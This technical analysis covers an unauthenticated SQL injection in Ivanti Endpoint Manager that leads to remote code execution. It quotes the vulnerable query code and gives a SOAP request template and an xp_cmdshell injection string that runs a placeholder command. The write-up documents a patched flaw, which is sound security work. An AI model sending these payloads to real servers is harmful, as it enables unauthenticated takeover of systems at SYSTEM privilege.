Technical Analysis
Ivanti Endpoint Manager (EPM) versions 2022 SU5 and prior are vulnerable to SQL injection and a patch has been released, as described in the official advisory and the related KB article. It is possible to leverage this vulnerability to achieve unauthenticated remote code execution.
The function RecordGoodApp() in AppMonitorAction.cs is responsible for handling reports of “good” applications.
159 private static void RecordGoodApp( 160 LanDeskDatabase database, 161 string[] tokens, 162 DateTime reportDate, 163 int computer_idn) 164 { 165 try 166 { 167 GoodApp goodApp = new GoodApp(tokens); 168 try 169 { 170 string sql1 = string.Format("Select ReportedGoodApps_Idn from ReportedGoodApps where md5 = '{0}'", (object) goodApp.md5); 171 DataRow row1 = database.ExecuteRow(sql1);
As can be seen in line 170, goodApp.md5 value is used to construct a SQL query without any sanitization. It happens that this value is user-supplied and this function can be reached through the EventHandler web service endpoint. The attack consists in sending a SOAP request to this endpoint, substituting the MD5 value with the malicious SQL command:
<?xml version="1.0" encoding="utf-8"?> <soap12:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap12="http://www.w3.org/2003/05/soap-envelope"> <soap12:Body> <UpdateStatusEvents xmlns="http://tempuri.org/"> <deviceID>string</deviceID> <actions> <Action name="string" code="0" date="0" type="96" user="string" configguid="string" location="string"> <status>GoodApp=1|md5=<SQL_COMMAND></status> </Action> </actions> </UpdateStatusEvents> </soap12:Body> </soap12:Envelope>
To achieve remote code execution, the MS-SQL special command xp_cmdshell can be used this way:
;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;EXEC xp_cmdshell '<MALICIOUS COMMAND>'--
A Metasploit module is already available for this attack.
Note that this is an unauthenticated attack and it usually results in privileged access to the vulnerable system. Since Ivanti EPM is usually running as an NT Service user, this can be easily escalated to a NT AUTHORITY\SYSTEM privileged user.
